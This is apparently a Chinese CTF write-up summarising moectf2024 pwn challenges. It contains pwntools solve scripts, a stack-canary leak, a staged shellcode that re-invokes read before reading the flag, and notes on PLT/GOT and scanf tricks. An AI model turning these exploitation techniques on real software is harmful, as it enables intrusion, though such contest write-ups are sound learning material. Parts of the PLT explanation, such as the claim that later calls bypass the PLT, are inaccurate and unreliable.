moectf2024知识点汇总

D0wnBe@t Lv4

前言

题目链接

本次比赛对基础的要求可谓是很深啊,记录一些自己需要学习的或者是基础不牢固,所需要学习的点

NotEnoughTime

题目链接

运用正则匹配运算数学式子

  • 贴一份官方wp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
io = ...
io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")
for _ in range(20):
io.sendline(
str(
eval(
io.recvuntil(b"=")
.replace(b"\n", b"")
.replace(b"=", b"")
.replace(b"/", b"//")
.decode()
)
).encode()
)
io.interactive()
  • 自己解题时候的exp(重度依赖gpt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import time
import re
import socket

# 创建与本地服务的连接
host = "192.168.107.52"
port = 64064


def connect_to_service():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s


def clean_expression(expression):
# 只保留数字、四则运算符、括号和等号
return re.sub(r'[^0-9+\-*/()=]', '', expression)


def calculate_expression(expression):
# 去掉等号部分
expression = expression.split('=')[0]
# 替换 / 为 // 进行整除计算
expression = expression.replace('/', '//')
try:
# 计算算式
return eval(expression)
except Exception as e:
print(f"计算失败: {e}")
return None


def main():
s = connect_to_service()
buffer = ""
data = s.recv(67).decode('utf-8')
while True:
# 每秒读取服务端的输出
data = s.recv(1024).decode('utf-8')
buffer += data
print("收到数据:", data)

# 提取算式
expression = clean_expression(buffer)
if '=' in expression:
print("提取的算式:", expression)

# 计算结果
result = calculate_expression(expression)
if result is not None:
# 发送结果
result_str = str(result) + "\n"
s.send(result_str.encode('utf-8'))
print(f"发送答案: {result_str.strip()}")

# 清空缓冲区
buffer = ""

# 检查是否有 flag
if "moectf{" in data:
print("Flag 获取:", re.search(r'moectf\{.*?\}', data).group())
break

if __name__ == "__main__":
main()

这是什么?random!

真随机数爆破

在我写的这篇文章里面已经提到过了

这是什么?GOT!

理解plt和got表之间的关系,已经函数真实地址是从哪里来的

调用过程解析

  1. 程序启动时
    • 当程序编译并链接时,外部库函数(如 system)的实际地址在编译期并不确定,尤其是动态链接库中的函数。为了处理这种不确定性,编译器生成了 PLT(Procedure Linkage Table,过程链接表)和 GOT(Global Offset Table,全球偏移表)。
  2. 第一次调用 system
    • 当程序第一次调用 system 函数时,程序并不知道该函数的实际内存地址。所以,程序会先跳转到 system@plt,即位于 PLT 表中的 system 函数条目。
    • 这个 system@plt 代码(你提到的 .plt:0000000000401056 的片段)会将某个索引值(push 2)压入栈,然后跳转到 PLT 的解析函数,也就是 sub_401020。这个解析函数会负责动态链接的符号解析。
  3. 动态链接器解析
    • 当执行到 sub_401020 时,动态链接器会检查 GOT 表,看 system 函数的实际地址是否已经加载到 GOT 中。
    • 如果 GOT 中还没有 system 的地址(这是第一次调用时的情况),动态链接器会调用 ld.so 来查找 system 函数的地址(比如从 libc.so 库中),并将这个地址填入 GOT 中。
  4. **后续调用 system**:
    • 一旦动态链接器找到了 system 函数的实际地址并将其写入到 GOT 表中,后续对 system 的调用将直接通过 GOT 表获取其地址,而不再经过 system@plt 进行跳转。这样可以提高性能,因为避免了每次调用时的跳转和解析。

总结

  • 第一次调用 system 时,会通过 system@plt 进行跳转和解析,因为程序还不知道 system 的实际地址。
  • 后续调用 system 则会直接使用 GOT 表中缓存的地址,从而加快函数调用的速度。

这个机制是动态链接库的一部分,目的是让程序在运行时动态解析函数地址,而不是在编译时就绑定函数地址。

  • 在第一次调用system的时候,会去0x401056地址,而elf.plt[‘system’]是0x401050,下面理解一下为什么:

PLT 机制概述

PLT(Procedure Linkage Table) 是 ELF 文件中的一个结构,用于延迟绑定动态链接库中的函数地址。每个动态函数(如 system)在 PLT 中有一个条目。这个条目主要包含两部分:

  1. PLT Entry

    1
    system@plt

    ):

    • 每个函数在 PLT 中有一个入口,负责跳转到实际的函数实现。
    • 第一次调用该函数时,入口会跳转到动态链接解析器来解析函数地址。
  2. PLT Stub

    • 每个函数的 PLT 条目包含一些指令,用来做跳转以及参数压栈等操作。
    • 这些指令位于 PLT 中稍后的位置(通常会偏移几个字节)。

具体情况:为什么跳到 0x401056 而不是 0x401050

在你的情况中,PLT 入口为 0x401050,但第一次调用实际跳转到了 0x401056,这是因为 0x4010500x401056 之间是一个跳转指令的预留区域,而实际的指令从 0x401056 开始。以下是细节解释:

汇编代码回顾:

1
2
3
asm复制代码.plt:0000000000401050 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:0000000000401056 push 2
.plt:000000000040105B jmp sub_401020
  • 0x401050system@plt 的条目起始地址,但它不是第一条实际执行的指令。
  • 在 ELF 文件中,每个 PLT 条目可能会有一个跳转表格或者占位符,通常第一个几字节可能是与跳转无关的内容。
  • 0x401056 开始,真正的指令才会执行:
    • push 2:将值 2 压入栈。这通常用于标识该 PLT 条目,表示它是 system 函数的第 2 个条目(索引 2),用于传递给链接解析器。
    • jmp sub_401020:这是跳转到 PLT 的解析器函数,用于解析动态链接库中的函数地址。

为什么是 0x401056

  • 地址布局0x401050 只是 system@plt 条目的起始地址。实际的指令从 0x401056 开始,因为 0x4010500x401056 可能被填充为跳转表或用于其他目的(如预留空间)。
  • 跳转到指令的设计:ELF 文件和 PLT 的设计通常会在每个函数条目之间留有一些空间,使得跳转和解析可以分阶段进行。因此,0x401056system@plt 中实际用于跳转和解析的指令起始点。

总结

  • 0x401050system@plt 的入口地址,但它可能只是一个占位符或跳转表的开始地址。
  • 0x401056system@plt 条目中的实际指令起始地址,第一次调用 system 函数时跳转到了这里,因为这里包含了负责跳转和解析 system 函数地址的指令(如 push 2jmp sub_401020)。

Catch_the_canary!

arc4random真随机数爆破 : 这篇文章

跳过scanf的输入

泄露canary

下面看如何跳过scanf输入的

  • 要求输入的不变,我们可以:
1
2
scanf要求输入数字的时候,输入'+' or '-'
可以跳过输入
  • 泄露canary

利用printf、puts输出遇到\x00会截断和canary首字节是\x00来泄露canary

1
2
3
4
5
# 只需填充canary的\x00,再利用printf将canary输出即可
p.recvuntil("Stop it!\n")
p.send(b'a'*0x18+b'b')
p.recvuntil(b'b')
canary = b'\x00'+p.recvn(7) # recvn(m)指定收到m字节

shellcode_revenge

有限字节shellcode再次调用read

1
2
3
mmap((void *)0x20240000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Good luck.");
read(0, (void *)0x20240000, 0xDuLL);
  • 很明显0xd字节写入shellcode长度是不够的,那么我们可以再次调用read,写入shellcode
  • 为什么会想到read?观察执行shellcode前的寄存器,rax=0,只要syscall就会执行read

注意其他几个寄存器

  • 因此在syscall之前还要修改rsi的值,因为我们往mmap地址写入了调用read的汇编代码
1
2
3
mov rdx , 100
add rsi , 0xd # 这段汇编的长度是0xd
syscall
  • 随后正常写入shellcode即可
1
2
3
4
addr = 0x20240000
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3,addr+0x100,0x100)
shellcode += shellcraft.write(1,addr+0x100,0x100)

Pwn_it_off!

知识点

子函数栈结构的利用以及gdb调试

1
2
3
4
5
6
7
8
9
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
beep();
voice_pwd();
num_pwd();
down();
exit(0);
}
  • 向上面这种结构,一旦输入超过栈空间就会影响到下面的函数,通过gdb动调可以明显发现

这是什么?32-bit!

知识点

1
2
getchar();
__isoc99_scanf("%[^\n]s", v1);
  • 关键点就在于这两个函数
  • getchar()用sendline填充
  • __isoc99_scanf("%[^\n]s", v1);代表着无限长度输入

  • 标题: moectf2024知识点汇总
  • 作者: D0wnBe@t
  • 创建于 : 2024-10-15 17:56:24
  • 更新于 : 2024-11-06 13:04:36
  • 链接: http://downbeat.top/2024/10/15/moectf2024知识点汇总/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论